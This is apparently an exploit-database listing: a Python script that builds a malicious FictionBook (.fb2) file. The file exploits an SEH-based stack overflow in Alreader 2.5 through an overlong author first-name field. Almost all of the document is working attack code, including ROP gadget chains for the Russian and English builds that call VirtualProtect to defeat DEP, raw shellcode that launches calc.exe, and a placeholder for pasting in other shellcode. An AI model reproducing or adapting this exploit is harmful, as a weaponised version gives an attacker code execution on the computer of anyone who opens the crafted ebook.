Alreader 2.5 .fb2 - SEH Based Stack Overflow (ASLR and DEP bypass)



EKU-ID: 5182 CVE: OSVDB-ID:
Author: g00dv1n Published: 2015-10-27 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/env python
 
#*************************************************************************************************************
# Exploit Title:          Alreader 2.5 .fb2 SEH Based Stack Overflow (ASLR and DEP bypass)
# Date:                   25.10.2015
# Category:               Local Exploit
# Exploit Author:         g00dv1n
# Contact:                g00dv1n.private@gmail.com
# Version:                2.5
# Tested on:              Windows XP SP3 / Windows 7 / Windows 8
# Vendor Homepage:        http://www.alreader.com/index.php?lang=en
# Software Link (ENG):    http://www.alreader.com/download.php?file=AlReader2.Win32.en.zip
# Software Link (RU):     http://www.alreader.com/download.php?file=AlReader2.Win32.ru.zip
# CVE:
 
 
 
# Description:
# Alreader 2.5 its  free FB2 reader for Windows.
# FB2 format its just XML. FB2 contain   <author> <first-name> </first-name>  </author>  block.
# Overflow occurs if you create a long name of the author.
# App used WCHAR  (1 char - 2 bytes ). If we create file in UTF-8 then app turn every single byte into two.
# For example 41 41  -  00 41 00 41
# So We should use UTF-16.
#
# Also, we can use single null byte in payload.
#
#
#
# Instructions: 
# 1. Run this py script for generate AlReader-fb2-PoC-exploit.fb2 file.
# 2. Run Alreader.exe
# 3. Open AlReader-fb2-PoC-exploit.fb2 ( FILE -> Open )
# 4. Enjoy running Calc.exe
#
# Exploit owerview:
# For bypass ALSR I used a ROP style. Main module Alreader2.exe non-ALSR. It also contain calls GetModuleHandleW
# and GetProcAdress. So using this functions I can get pointer to call VirtualProtect to make stack executable and
# run Shellcode.
#
# At overflow overwritten SEH. So we can control EIP. For this spray Jump Adress in payload
# ( It is necessary to adjust the offset in different systems .)
# Then to get control of the stack we need ADD to ESP some value. (ADD ESP, 808h). Then ESP will point to ROP NOP
# ( It is necessary to adjust the offset in different systems .)
# Then the control get ROP chain .
#
# Program have Russian (RU) and English (Eng) versions.
# ROP chains for them the same but different addresses. ( addresses of ADD ESP, 808h and ROP NOP same for all versions )
# For a combination of two versions into one exploit I place two ROP chains one after another.
# For RU version then an exception occurs, control passes first ROP chain. (ADD ESP, 808h RETN 4 then ROP NOPs )
# For Eng version after ADD ESP, 808h RETN 4 and ROP NOPs  arises yet another exepiton and Call ADD ESP, 808h.
# So ESP jump over first ROP chain. ROP NOP correct offset and Second ROP chain for Eng version, get control.
# With these tricks, the exploit works correctly for both versions.
#
# Below is ANSI-diagram of the payload:
#
#                              =-------------------------=
#                              |          gdvn           |        just fan magic bytes      
#                              |-------------------------|                        
#                              |                         |
#                              |   jmp from SEH adress   |        x 500    Spray Andress to Jump from oveeride SEH
#                              |                         |                        (ADD ESP, 808h RETN 4)
#                              |-------------------------|                        
#                              |                         |
#                              |        ROP NOP          |        x 500    Spray  ROP NOP (RETN)  
#                              |                         |
#                              |-------------------------|                        
#                              |                         |
#                              |      ROP chain for      |
#                              |       RU version        |
#                              |                         |
#                              |-------------------------|                        
#                              |        SHELLCODE        |        Run Calc.exe
#                              |-------------------------|                        
#                              |                         |
#                              |        ROP NOP          |        x 250     Spray  ROP NOP (RETN)
#                              |                         |
#                              |-------------------------|                        
#                              |                         |
#                              |      ROP chain for      |
#                              |       ENG version       |
#                              |                         |
#                              |-------------------------|                         
#                              |        SHELLCODE        |        Run Calc.exe
#                              |-------------------------|                        
#                              |                         |
#                              |      ROP chain for      |
#                              |       ENG version       |
#                              |                         |
#                              |-------------------------|                         
#                              |                         |
#                              |                         |
#                              |          Junk           |        'A' x 6000
#                              |                         |                        
#                              |                         |
#                              =-------------------------=
#
#
#
#
#
#**************************************************************************************************************
 
 
 
 
#######################################################################################################
from struct import *
 
#######################################################################################################
file_result = "AlReader-fb2-PoC-exploit.fb2"
 
 
########################################################################################################
 
fuz_text  = ''                                # init fuzzy string
 
 
 
 
jmp_to  = pack('<I',0x00442391 )              # 0x00442391 ADD ESP, 808h RETN 4
 
ret_NOP =  pack('<I',0x00448147 )             # RETN
 
 
##################################### START CREATE ROP CHAINs ############################################
 
fuz_text += 'gdvn'                              # magic init bytes
 
 
 
fuz_text += jmp_to * 500                        # spray adr
 
 
 
fuz_text += ret_NOP * 500                       # spray RETN adr
 
 
 
####################################### ROP CHAIN FOR RUS VERSION ########################################
 
# Prepare to call GetModuleHandleW
# EDI = GetModuleHandleW adr
# ESI = ret adr
# EBP = ptr to unicode 'kernel32.dll'
                   
ret_adr_after = pack('<I',0x0048ddd1 )          # 0x0048ddd1 :  # ADD ESP,30 # RETN    ( this need to correct ESP )
module_handlew_adr = pack('<I',0x004FC8FC )     # 0x004FC8FC GetModuleHandleW adr
kernel32_u = pack('<I',0x0560944 )              # 0x0560944 ptr to unicode 'kernel32.dll'
 
 
#0x004904a6 :  #  POP EDI # POP ESI # POP EBP # POP EBX # RETN
fuz_text +=  pack('<I',0x004904a6 )   + module_handlew_adr + ret_adr_after + kernel32_u
 
fuz_text +=  '\x41' *  4
 
                                                 
fuz_text +=  pack('<I',0x004f831c )             # 0x004f831c # ADD ESP,24 # RETN
 
fuz_text +=  '\x41' *  36
 
fuz_text += pack('<I',0x004b310d )              # 0x004b310d :  # PUSHAD # RETN
 
fuz_text +=  '\x41' *  28                       # correct after ADD ESP,30
 
 
#Junk
#################################################
fuz_text +=  pack('<I',0x004f831c )             # 0x004f831c # ADD ESP,24 # RETN
 
fuz_text +=  '\x41' *  36
#################################################
 
#EAX = kernel32 base adr
 
# Prepare to call GetProcAdress
# EDI = GetProcAdress adr
# ESI = ret adr
# EBP = kernel32 base adr
# ESP = ptr to ANSII 'VirtualProtect00'
 
 
ret_adr_after = pack('<I',0x0048ddd1 )          # 0x0048ddd1 :  # ADD ESP,30 # RETN    ( this need to correct ESP )            
 
get_proc_adr  = pack('<I',0x0043C8B2 )          # 0x0043C8B2 - GetProcAdress
 
 
# 0x004904A8 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN
 
fuz_text += pack('<I',0x004904A8 )  + get_proc_adr +  ret_adr_after          
 
fuz_text +=  '\x41' *  8
 
 
fuz_text += pack('<I',0x004b9e9e )             # 0x004b9e9e :  # XCHG EAX,EBP # SETE CL # MOV EAX,ECX # RETN
 
fuz_text += pack('<I',0x004b310d )             # 0x004b310d :  # PUSHAD # RETN
 
fuz_text += 'VirtualProtect' + '\x00'
 
fuz_text +=  '\x41' *  17                      # correct ESP pointer
 
 
########################################################
# Prepare registrs for Virtual protect call
 
# EDI = ROP NOP
# ESI = VirtualProtect adr
# EBP = Ret adr
# ESP = auto
# EBX = 1
# EDX = 0x40
# ECX = lpOldProtect (ptr to W address)
 
# Now in EAX VP adr
 
fuz_text += pack('<I',0x00489cdd )              # 0x00489cdd,  # PUSH EAX # POP ESI # RETN
 
fuz_text += pack('<I',0x004a6392 )              # 0x004a6392,  # POP EBX # RETN
 
fuz_text += pack('<I',0x5DE58BD1 )              # 0x5DE58BD0,  # EBX = 5DE58BD1
 
fuz_text += pack('<I',0x004e7d31 )              # 0x004e7d31,  # SUB EBX,5DE58BD0 # RETN # EBX = 1
 
fuz_text += pack('<I',0x004fc23c )              # 0x004fc23c,  # XOR EDX,EDX # RETN  # EDX = 0
 
fuz_text += pack('<I',0x0040db04 )  * 64        # 0x0040db04,  # INC EDX # ADD AL,3B # RETN x 64 # EDX = 0x40
 
fuz_text += pack('<I',0x0048c064 )              # 0x0048c064,  # POP ECX # RETN
 
fuz_text += pack('<I',0x00629eea )              # 0x00629eea,  # &Writable location
 
fuz_text += pack('<I',0x00487d6a )              # 0x00487d6a,  # POP EDI # RETN
 
fuz_text += pack('<I',0x004f4401 )              # 0x004f4401,  # RETN (ROP NOP)
 
 
 
fuz_text += pack('<I',0x004e6379 )              # 0x004e6379,  # POP EBP # RETN
 
ret_adr_after = pack('<I',0x004f831c )          # ret adr  #  0x004f831c # ADD ESP,24 # RETN
 
 
fuz_text += ret_adr_after
 
fuz_text+= pack('<I',0x004ecfab )               # 0x004ecfab,  # PUSHAD # RETN
 
fuz_text +=  '\x41' *  32                       # Correct poiter to ESP
 
 
 
fuz_text += pack('<I',0x004a37bd )              # 0x004a37bd : # jmp esp
 
fuz_text += '\x90' * 16                         # NOP's :-)
 
 
##################################### END ROP CHAIN #########################################
 
#############################################################################################
#PASTE SHELLCODE HERE
 
 
 
 
# Run Calc
shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7");
 
 
fuz_text += shellcode
 
 
#############################################################################################
fuz_text += ret_NOP * 250                       # spray RETN adr
 
#############################################################################################
 
############################### ROP CHAIN FOR ENG VERSION ###################################
 
 
 
 
 
 
 
# Prepare to call GetModuleHandleW
# EDI = GetModuleHandleW adr
# ESI = ret adr
# EBP = ptr to unicode 'kernel32.dll'
                   
ret_adr_after = pack('<I',0x004cad21 )          # 0x004cad21 :  # ADD ESP,30 # RETN    ( this need to correct ESP )
module_handlew_adr = pack('<I',0x004FC85C )     # 0x004FC85C GetModuleHandleW adr
kernel32_u = pack('<I',0x00560724 )              # 0x00560724  ptr to unicode 'kernel32.dll'
 
 
#0x00488ed6 :  # POP EDI # POP ESI # POP EBP # POP EBX # RETN
fuz_text +=  pack('<I',0x00488ed6 )   + module_handlew_adr + ret_adr_after + kernel32_u
 
fuz_text +=  '\x41' *  4
 
                                                 
fuz_text +=  pack('<I',0x004a8ee8 )             # 0x004a8ee8 # ADD ESP,24 # RETN
 
fuz_text +=  '\x41' *  36
 
fuz_text += pack('<I',0x004b3ded )              # 0x004b3ded :  # PUSHAD # RETN
 
fuz_text +=  '\x41' *  28                       # correct after ADD ESP,30
 
 
#Junk
#################################################
fuz_text +=  pack('<I',0x004a8ee8 )             # 0x004a8ee8 # ADD ESP,24 # RETN
 
fuz_text +=  '\x41' *  36
#################################################
 
#EAX = kernel32 base adr
 
# Prepare to call GetProcAdress
# EDI = GetProcAdress adr
# ESI = ret adr
# EBP = kernel32 base adr
# ESP = ptr to ANSII 'VirtualProtect00'
 
 
ret_adr_after = pack('<I',0x004cad21 )          # 0x004cad21 :  # ADD ESP,30 # RETN    ( this need to correct ESP )            
 
get_proc_adr  = pack('<I',0x0043C8B2 )          # 0x0043C8B2 - GetProcAdress
 
 
# 0x00488ed6 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN
 
fuz_text += pack('<I',0x00488ed6 )  + get_proc_adr +  ret_adr_after          
 
fuz_text +=  '\x41' *  8
 
 
fuz_text += pack('<I',0x004b9dfe )             # 0x004b9dfe :  # XCHG EAX,EBP # SETE CL # MOV EAX,ECX # RETN
 
fuz_text += pack('<I',0x004b3ded )             # 0x004b3ded :  # PUSHAD # RETN
 
fuz_text += 'VirtualProtect' + '\x00'
 
fuz_text +=  '\x41' *  17                      # correct ESP pointer
 
 
########################################################
# Prepare registrs for Virtual protect call
 
# EDI = ROP NOP
# ESI = VirtualProtect adr
# EBP = Ret adr
# ESP = auto
# EBX = 1
# EDX = 0x40
# ECX = lpOldProtect (ptr to W address)
 
# Now in EAX VP adr
 
fuz_text += pack('<I',0x00489c3d )              # 0x00489c3d,  # PUSH EAX # POP ESI # RETN
 
fuz_text += pack('<I',0x00481c40 )              # 0x00481c40,  # POP EBX # RETN
 
fuz_text += pack('<I',0x5DE58BD1 )              # 0x5DE58BD0,  # EBX = 5DE58BD1
 
fuz_text += pack('<I',0x004e7c91 )              # 0x004e7c91,  # SUB EBX,5DE58BD0 # RETN # EBX = 1
 
fuz_text += pack('<I',0x004fc19c )              # 0x004fc19c,  # XOR EDX,EDX # RETN
 
fuz_text += pack('<I',0x0040db04 )  * 64        # 0x0040db04,  # INC EDX # ADD AL,3B # RETN x 64 # EDX = 0x40
 
fuz_text += pack('<I',0x004f39dc )              # 0x004f39dc,  # POP ECX # RETN
 
fuz_text += pack('<I',0x0062909d )              # 0x0062909d,  # &Writable location
 
fuz_text += pack('<I',0x00495df4 )              # 0x00495df4,  # POP EDI # RETN
 
fuz_text += pack('<I',0x00483a02 )              # 0x00483a02,  # RETN (ROP NOP)
 
 
 
fuz_text += pack('<I',0x004fb3c6 )              # 0x004fb3c6,  # POP EBP # RETN
 
ret_adr_after = pack('<I',0x004a8ee8 )          # ret adr  #  0x004a8ee8 # ADD ESP,24 # RETN
 
 
fuz_text += ret_adr_after
 
fuz_text+= pack('<I',0x004b3ded )               # 0x004b3ded,  # PUSHAD # RETN
 
fuz_text +=  '\x41' *  32                       # Correct poiter to ESP
 
 
 
fuz_text += pack('<I',0x004757a7  )              # 0x004757a7  : # jmp esp
 
fuz_text += '\x90' * 16                         # NOP's :-)
 
 
fuz_text += shellcode
 
 
 
 
 
 
 
 
##############################################################################################
fuz_text += '\x41' * 6000                       # final junk
 
 
################################ GENERATE utf-16 fb2 file ####################################
 
start = '''
<?xml version="1.0" encoding="unicode-utf_16"?>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
  <description>
    <title-info>
      <author>
        <first-name>
    '''
 
end   = '''
   <middle-name/>
        <last-name/>
      </author>
      <book-title>EXPLOIT TEST</book-title>
     </title-info>
    </description>
</FictionBook>
'''
start_u = start.encode('utf-16')
 
end_u = end.encode('utf-16')
 
fout = open(file_result, 'wb')
fout.write(start_u)
fout.close()
 
fout = open(file_result,'ab')
fout.write(fuz_text)
fout.close()
 
fout = open(file_result,'ab')
fout.write(end_u)
fout.close()
 
 
print "[*] File successfully created !!\n\n"